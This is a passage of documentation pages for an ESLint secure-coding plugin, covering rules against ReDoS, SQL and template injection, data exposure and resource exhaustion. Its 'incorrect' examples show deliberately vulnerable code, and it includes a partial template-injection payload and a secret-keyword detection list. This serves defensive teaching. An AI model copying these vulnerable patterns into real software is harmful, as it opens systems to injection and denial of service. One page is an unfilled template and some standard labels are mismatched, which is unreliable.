unvalidated user input ## Resources [#resources] * [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html) * [OWASP: Improper Access Control](https://owasp.org/www-community/vulnerabilities/Improper_Access_Control) * [OWASP: Privilege Escalation](https://owasp.org/www-community/attacks/Privilege_escalation) # no-redos-vulnerable-regex **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-redos-vulnerable-regex. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | ---------------------------------------------------- | | **Severity** | Error (Security) | | **Auto-Fix** | ❌ No (requires manual review) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Production applications handling user input | | **Suggestions** | ❌ None — the message names the ambiguity and the fix | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Regular Expression Denial of Service (ReDoS) occurs when a regular expression is crafted in a way that causes catastrophic backtracking when processing certain input strings. **Risk:** An attacker can provide a specially crafted input that triggers this catastrophic backtracking, causing the application to consume excessive CPU resources and become unresponsive (Denial of Service). ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-400 OWASP:A06 CVSS:7.5 | Uncontrolled Resource Consumption (ReDoS) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Uncontrolled Resource Consumption (ReDoS) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | ## Rule Details [#rule-details] This rule detects regular expressions that are vulnerable to **Regular Expression Denial of Service (ReDoS)**. ReDoS occurs when a regex engine takes an exponential amount of time to find a match (or fail to match) for certain inputs, usually due to "catastrophic backtracking". Catastrophic backtracking happens when a regex contains: 1. **Nested Quantifiers**: e.g., `(a+)+` 2. **Overlapping Disjunctions**: e.g., `(a|a)+` 3. **Ambiguous Repetitions**: e.g., `(.*?)*` When these patterns are applied to a long string that *almost* matches but fails at the end, the regex engine tries every possible combination of repetitions, leading to $O(2^n)$ runtime. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD Start[User Input String] --> Regex{Regex Engine} Regex -->|Safe Pattern| Match["Match/No Match (Fast)"] Regex -->|Vulnerable Pattern| Backtrack{Catastrophic Backtracking?} Backtrack -->|Yes| Freeze["💥 CPU Spike / Denial of Service"] Backtrack -->|No| Match classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef warnNode fill:#fffbeb,stroke:#d97706,stroke-width:2px,color:#1f2937 class Start startNode class Freeze errorNode class Backtrack warnNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------ | ------------------------------- | --------------------------------------------------------------------- | | 🔒 **Security** | Denial of Service (DoS) attacks | Use [atomic groups](https://github.com/google/re2) or simple patterns | | ⚡ **Performance** | Server freezing, high CPU usage | Validate input length, use timeouts (if available) | | 🐛 **Reliability** | Unexpected application crashes | avoid nested quantifiers `(a+)+` | ## Configuration [#configuration] This rule accepts an options object: ```typescript { "rules": { "secure-coding/no-redos-vulnerable-regex": ["error", { // Deprecated and ignored; gated the removed heuristic layer. "allowCommonPatterns": false, "maxPatternLength": 500 // Default: 500. Maximum length of regex string to analyze. }] } } ``` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Nested quantifiers - O(2^n) const badRegex1 = /(a+)+/; const badRegex2 = /([a-zA-Z]+)*$/; // Overlapping disjunctions const badRegex3 = /(a|a)+/; // Ambiguous optional repetitions const badRegex4 = /(.*)*$/; // Usage in RegExp constructor const userPattern = new RegExp('(a+)+'); ``` ### ✅ Correct [#-correct] ```typescript // Non-nested quantifiers const goodRegex1 = /a+/; const goodRegex2 = /[a-zA-Z]+$/; // Atomic groups (simulated in JS using lookahead) // (?=(a+))\1 matches 'a+' atomically (no backtracking into it) const atomicRegex = /(?=(a+))\1/; // Using a safe library like validator.js for email/URL instead of custom regex import isEmail from 'validator/lib/isEmail'; const valid = isEmail(input); ``` ## How detection works [#how-detection-works] Every pattern goes to [`scslre`](https://github.com/RunDevelopment/scslre), the NFA analyser `eslint-plugin-regexp` uses. It builds the automaton and looks for genuine ambiguity, and its verdict is **final**: * **Reports** — a self-loop or cross-quantifier trade was found. The message names which, and whether backtracking is exponential or polynomial. * **Clean** — analysed and not vulnerable. Nothing else gets to overrule this. * **Unparseable** — the pattern is not a regex at all. `new RegExp("(a+")` throws at construction and can never backtrack, so it is *not* reported here. It is a real bug, but a different one. There is deliberately no pattern-matching fallback. An earlier version kept a table of regexes matched against the pattern *text*, which reported every pattern the analyser had already cleared — including `/^https:\/\/js\.stripe\.com\/v3\/?(\?.*)?$/`, which is anchored at both ends and linear — and reported invalid syntax as `CRITICAL` ReDoS. Counting quantifier characters is not the same as finding quantifier nesting. ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html) * [Runaway Regular Expressions: Catastrophic Backtracking](https://www.regular-expressions.info/catastrophic.html) ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | --------------------- | --------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------- | | `allowCommonPatterns` | `boolean` | `false` | **Deprecated and ignored.** Gated the removed heuristic layer; still accepted so existing configs load. Removed in the next major. | | `maxPatternLength` | `number` | `500` | Maximum pattern length to analyze | # no-sensitive-data-exposure **CWE:** [CWE-359](https://cwe.mitre.org/data/definitions/359.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-sensitive-data-exposure. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-200](https://cwe.mitre.org/data/definitions/200.html) (Information Exposure) | | **Severity** | High (security vulnerability) | | **Auto-Fix** | ❌ No | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Applications handling PII | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Sensitive data exposure happens when an application inadequately protects sensitive information such as passwords, financial data, or health records. **Risk:** Attackers can access this data to conduct identity theft, credit card fraud, or further attacks on the system. It often leads to severe regulatory penalties (GDPR, PCI-DSS compliance failure). ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-532 OWASP:A09 CVSS:5.3 | Log Information Exposure detected | MEDIUM [GDPR,HIPAA,PCI-DSS,SOC2] Fix: Review and apply the recommended fix | https://owasp.org/Top10/A09_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-532](https://cwe.mitre.org/data/definitions/532.html) [OWASP:A09](https://owasp.org/Top10/A09_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Log Information Exposure detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM [GDPR,HIPAA,PCI-DSS,SOC2]` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A09_2021-Injection/) | ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect no sensitive data exposure"] --> B{"Valid pattern?"} B -->|❌ No| C["🚨 Report violation"] B -->|✅ Yes| D["✅ Pass"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 class A startNode class C errorNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------------- | ----------------- | -------------------- | | 🔒 **Security/Code Quality** | \[Specific issue] | \[Solution approach] | | 🐛 **Maintainability** | \[Impact] | \[Fix] | | ⚡ **Performance** | \[Impact] | \[Optimization] | ## Configuration [#configuration] **No configuration options available.** ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Example of incorrect usage ``` ### ✅ Correct [#-correct] ```typescript // Example of correct usage ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript // eslint.config.mjs export default [ { rules: { 'secure-coding/no-sensitive-data-exposure': 'error', }, }, ]; ``` ## LLM-Optimized Output [#llm-optimized-output] ``` 🚨 no sensitive data exposure | Description | MEDIUM Fix: Suggestion | Reference ``` ## Related Rules [#related-rules] * [`rule-name`](./rule-name.md) - Description ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP Selective Data Exposure](https://owasp.org/www-community/vulnerabilities/Sensitive_Data_Exposure)** - Guidelines * **[CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)** - Official CWE entry ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | -------------------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | | `sensitivePatterns` | `string[]` | `["password","passwd","secret","token","access_token","auth_token","ssn","credit_card","creditcard","api_key","apikey","secret_key","private_key","encryption_key"]` | Sensitive data patterns | | `checkConsoleLog` | `boolean` | `true` | Check console.log statements | | `checkErrorMessages` | `boolean` | `true` | Check error messages | | `checkApiResponses` | `boolean` | `true` | Check API responses | # no-sql-injection **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection where the query is executed through a handle the file never imported. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No — the fix changes the call's argument shape | | **Category** | Security | ## Why this rule exists (and why it is not in a driver plugin) [#why-this-rule-exists-and-why-it-is-not-in-a-driver-plugin] The driver-scoped rules — `postgresql-security/no-unsafe-query`, `mysql-security`, `typeorm-security`, `knex-security`, `drizzle-security`, `sqlite-security`, `sequelize-security`, `prisma-security` — each abstain in a file that does not import their own driver. That gate is deliberate: keying on a method name alone made `.query()` mean typeorm *and* pg *and* mysql2 at once, and one defect was billed up to three times. It leaves a gap. The most common Node layout puts the pool in one module: ```js // db.js const { Pool } = require('pg'); module.exports = new Pool(); ``` and every route file then does `db.query(...)` with **no driver import at all**. Those files are injectable and no driver rule can see them. This rule owns exactly that complement: it reports **only** in files that import no SQL driver, so any given query site is owned by exactly one rule and `recommended` never reports the same line twice. ## What it takes to report [#what-it-takes-to-report] All four must hold — the rule is deliberately quiet otherwise: 1. **A raw-SQL sink** — `.query(...)` or `.execute(...)`. 2. **A built string** — concatenation or an interpolated template literal. A plain literal cannot be injected into. 3. **A statement shape** — the static text reads as SQL: `SELECT … FROM`, `INSERT INTO`, `UPDATE … SET`, `DELETE FROM`, `REPLACE INTO`, `MERGE INTO`. A lone verb is not enough; `'update available for ' + pkg` is a status message, not a statement. 4. **An attributable source** — the interpolated value traces to an inbound request (`req` / `request` / `ctx` with `body`, `query`, `params`, `headers`, `cookies`, `url`, `path`), directly or through a written-once local binding. "I cannot prove this is safe" is not a finding. A query built from a function parameter, a module constant or a config value is a query builder doing its job. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```js const userId = req.params.id; const query = 'SELECT * FROM users WHERE id = ' + userId; db.query(query); ``` ```js const name = req.body.name; db.query(`SELECT * FROM users WHERE name = '${name}'`); ``` ```js // Identifiers cannot be bound as parameters — allow-list them instead. const sortColumn = req.query.sort; db.query('SELECT * FROM users ORDER BY ' + sortColumn); ``` ### ✅ Correct [#-correct] ```js // Bind the value as a parameter. db.query('SELECT id, name, email FROM users WHERE id = $1', [req.params.id]); ``` ```js // A prepared-statement object is not a built string. db.query({ name: 'get-user', text: 'SELECT * FROM users WHERE id = $1', values: [id] }); ``` ```js // A column name cannot be a bound parameter — validate it against an allow-list. const SORTABLE = new Set(['name', 'created_at']); const column = SORTABLE.has(req.query.sort) ? req.query.sort : 'name'; db.query('SELECT * FROM users ORDER BY ' + column); ``` ```js // A file that imports its driver belongs to that driver's rule, not this one. import { Pool } from 'pg'; pool.query('SELECT * FROM users WHERE id = ' + req.params.id); // → pg/no-unsafe-query ``` ## Known limits [#known-limits] * A **reassigned** query builder (`let sql = '…'; sql += ' AND x = ' + x`) is not followed. The driver-scoped rules track `+=` because they already know the file is a database file; guessing at it in a rule that runs on every file with no driver evidence at all is how a precise rule becomes a noisy one. * A value wrapped in a call — `escapeIdentifier(req.query.sort)` — breaks attribution on purpose. That call is the documented fix for this very finding, so reporting it would flag code that is already correct. ## Options [#options] None. ## When Not To Use It [#when-not-to-use-it] If your project reaches its database exclusively through an imported driver, the driver-specific plugin already covers you and this rule will simply never fire. ## Related [#related] * [`postgresql-security/no-unsafe-query`](https://www.npmjs.com/package/eslint-plugin-postgresql-security) * [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) # no-template-injection **CWE:** [CWE-94](https://cwe.mitre.org/data/definitions/94.html) **OWASP:** [A03:2021 — Injection](https://owasp.org/Top10/A03_2021-Injection/) A server-side template engine compiles its input into executable code. Passing a user-controlled string as the **template** — rather than as the template's **data** — hands the attacker a code path, not a text substitution. On most engines this is a direct route to remote code execution. The distinction is the whole rule: ```js render(template, data) // ^^^^^^^^ code — must be static // ^^^^ data — user input belongs here ``` ## Rule details [#rule-details] Reports when the *template* argument to a recognised engine is anything other than a static string. Examples of **incorrect** code: ```js const Handlebars = require('handlebars'); app.get('/greet', (req, res) => { // The user controls the TEMPLATE. `{{constructor.constructor('...')()}}` // reaches the Function constructor from here. const tpl = Handlebars.compile(req.query.template); res.send(tpl({})); }); ``` ```js const ejs = require('ejs'); // String concatenation into a template is the same defect with extra steps. ejs.render('

Hello ' + req.body.name + '

'); ``` ```js const _ = require('lodash'); _.template(`
${userSuppliedLayout}
`); ``` Examples of **correct** code: ```js const Handlebars = require('handlebars'); // The template is static; the user input is DATA. const greet = Handlebars.compile('

Hello {{name}}

'); app.get('/greet', (req, res) => res.send(greet({ name: req.query.name }))); ``` ```js const ejs = require('ejs'); // Rendering a file by a validated key — not by a user-supplied path. const VIEWS = { home: 'home.ejs', about: 'about.ejs' }; const view = VIEWS[req.params.page]; if (!view) return res.status(404).end(); ejs.renderFile(view, { user: req.user }); ``` ## Engines covered [#engines-covered] Handlebars, EJS, Pug/Jade, Nunjucks, Mustache, Lodash/Underscore `template`, and `dot`. Detection is bound to the imported engine, so an unrelated local function named `compile` or `render` reports nothing. ## Why there is no autofix [#why-there-is-no-autofix] The fix is a restructure — move the dynamic part from the template argument into the data argument — and that requires knowing which placeholder the value belongs to. A mechanical edit cannot infer it, and a wrong guess would silently change what the page renders. ## When not to use it [#when-not-to-use-it] Disable it for a build-time generator that compiles templates authored by trusted developers from disk, where the template path is not reachable from a request. If a single call site is trusted, prefer a scoped `eslint-disable-next-line` with a comment explaining why the input cannot be attacker-controlled. ## Related [#related] * [`no-directive-injection`](./no-directive-injection.md) * [`no-format-string-injection`](./no-format-string-injection.md) # no-unchecked-loop-condition **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects unchecked loop conditions that could cause DoS. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------- | | **CWE Reference** | CWE-400 (Uncontrolled Resource Consumption), CWE-835 (Infinite Loop) | | **Severity** | High (CVSS 7.5) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Unchecked loop conditions allow loops to execute potentially indefinitely or for an excessive number of iterations, often driven by user input. **Risk:** An attacker can provide input that causes the loop to run for a very long time or infinite times, consuming all available CPU or memory resources (Denial of Service - DoS), making the application unresponsive for legitimate users. ## Rule Details [#rule-details] Loops with unchecked conditions can cause denial of service by consuming excessive CPU time or memory. This includes: * Infinite loops without termination * Loops with user-controlled bounds * Recursion without depth limits * Missing timeout protections ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------------ | ----------------------- | -------------------------- | | 🔄 **Infinite Loop** | Service unavailable | Add termination conditions | | ⏱️ **CPU Exhaustion** | Performance degradation | Limit iterations | | 💾 **Memory Exhaustion** | Application crash | Add timeout protection | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Infinite loop while (true) { processItem(); } // User-controlled loop bound const iterations = parseInt(req.query.count); for (let i = 0; i < iterations; i++) { doWork(); // Could run billions of times! } // No termination condition let node = head; while (node) { process(node); node = node.next; // Circular reference = infinite loop } // Unbounded recursion function recurse(data) { return recurse(data.child); } ``` ### ✅ Correct [#-correct] ```typescript // While loop with break condition let attempts = 0; const MAX_ATTEMPTS = 100; while (true) { if (processItem() || attempts++ >= MAX_ATTEMPTS) { break; } } // Limit user-controlled iterations const MAX_ITERATIONS = 1000; const iterations = Math.min(parseInt(req.query.count) || 0, MAX_ITERATIONS); for (let i = 0; i < iterations; i++) { doWork(); } // Cycle detection const visited = new Set(); let node = head; while (node && !visited.has(node)) { visited.add(node); process(node); node = node.next; } // Bounded recursion function recurse(data, depth = 0, maxDepth = 100) { if (depth >= maxDepth) return null; return recurse(data.child, depth + 1, maxDepth); } ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-unchecked-loop-condition': ['error', { maxStaticIterations: 10000, userInputVariables: ['req', 'request', 'input'], allowWhileTrueWithBreak: true, maxRecursionDepth: 100 }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------------- | ---------- | ---------------------------------------------------------- | -------------------------------------------------------- | | `maxStaticIterations` | `number` | `10000` | Literal iteration count above which a loop is reported | | `userInputVariables` | `string[]` | `["req","request","body","query","params","input","data"]` | Variable names treated as user-controlled input | | `allowWhileTrueWithBreak` | `boolean` | `true` | Allow `while (true)` when the body contains a `break` | | `maxRecursionDepth` | `number` | `10` | Recursion depth above which a call is reported | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as loop protectors | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-400 OWASP:A06 CVSS:7.5 | Uncontrolled Resource Consumption (ReDoS) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) [OWASP:A06](https://owasp.org/Top10/A06_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Uncontrolled Resource Consumption (ReDoS) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A06_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[CWE-400](https://cwe.mitre.org/data/definitions/400.html)** - Uncontrolled resource consumption * **[CWE-835](https://cwe.mitre.org/data/definitions/835.html)** - Loop with unreachable exit condition * **[OWASP DoS](https://owasp.org/www-community/attacks/Denial_of_Service)** - DoS prevention ## Related Rules [#related-rules] * [`no-unlimited-resource-allocation`](./no-unlimited-resource-allocation.md) - Unbounded allocations * [`no-redos-vulnerable-regex`](./no-redos-vulnerable-regex.md) - ReDoS patterns # no-unlimited-resource-allocation **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects unlimited resource allocation that could cause DoS. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-770](https://cwe.mitre.org/data/definitions/770.html) (Allocation Without Limits) | | **Severity** | High (CVSS 7.5) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Unlimited resource allocation occurs when an application allocates resources (like memory, file descriptors, or database connections) based on untrusted user input without any upper bounds. **Risk:** An attacker can trigger the allocation of massive amounts of resources (e.g., sending a request with a very large `size` parameter), causing the application to crash due to Out-Of-Memory (OOM) errors or exhaustion of system limits (Denial of Service). ## Rule Details [#rule-details] Unlimited resource allocation can cause denial of service by exhausting system resources like memory, file handles, or network connections. Attackers can: * Crash the application with memory exhaustion * Exhaust file descriptors * Overwhelm network resources * Cause system-wide resource starvation ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------------ | ------------------- | ------------------------ | | 💾 **Memory Exhaustion** | Application crash | Limit allocation sizes | | 📂 **FD Exhaustion** | Service unavailable | Close resources properly | | 🌐 **Connection Flood** | Network DoS | Implement rate limiting | ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript const buf = Buffer.alloc(req.query.size); ``` ### ✅ Correct [#-correct] ```typescript // Limit allocation size const MAX_SIZE = 10 * 1024 * 1024; // 10MB const size = parseInt(req.query.size); if (size > MAX_SIZE || size <= 0) { throw new Error('Invalid size'); } const buffer = Buffer.alloc(size); // Stream large files const stream = fs.createReadStream(userFile); stream.pipe(response); // Limit array size const MAX_ITEMS = 1000; const length = Math.min(userInput.length, MAX_ITEMS); const array = new Array(length).fill(0); // Limit concurrent connections import pLimit from 'p-limit'; const limit = pLimit(10); // Max 10 concurrent const results = await Promise.all(urls.map((url) => limit(() => fetch(url)))); ``` ## Configuration [#configuration] ```javascript { rules: { 'secure-coding/no-unlimited-resource-allocation': ['error', { maxResourceSize: 10485760, // 10MB userInputVariables: ['req', 'request', 'input'], safeResourceFunctions: ['limitedAlloc', 'safeBuffer'], requireResourceValidation: true }] } } ``` ## Options [#options] | Option | Type | Default | Description | | --------------------------- | ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | `maxResourceSize` | `number` | `1048576` | Allocation size in bytes above which a call is reported | | `userInputVariables` | `string[]` | `["req","request","body","query","params","input","data"]` | Variable names treated as user-controlled input | | `safeResourceFunctions` | `string[]` | `["validateSize","checkLimits","limitResource","safeAlloc"]` | Function names that bound an allocation | | `requireResourceValidation` | `boolean` | `true` | Require an explicit size check before allocating | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as resource validators | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-770 OWASP:A05-Misconfig CVSS:7.5 | Unlimited Resource Allocation | HIGH [SOC2,PCI-DSS] Fix: Add size limits and validate user input before allocation | https://cwe.mitre.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[CWE-770](https://cwe.mitre.org/data/definitions/770.html)** - Allocation without limits * **[Node.js Streams](https://nodejs.org/api/stream.html)** - Efficient data handling * **[OWASP DoS](https://owasp.org/www-community/attacks/Denial_of_Service)** - DoS attack prevention ## Related Rules [#related-rules] * [`no-unchecked-loop-condition`](./no-unchecked-loop-condition.md) - Infinite loop conditions * [`no-buffer-overread`](./no-buffer-overread.md) - Buffer over-read # no-unsafe-deserialization **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects unsafe deserialization of untrusted data. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ----------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-502](https://cwe.mitre.org/data/definitions/502.html) (Unsafe Deserialization) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE** | [CWE-502](https://cwe.mitre.org/data/definitions/502.html) — Deserialization of Untrusted Data (CVSS 9.8 — Critical) | | 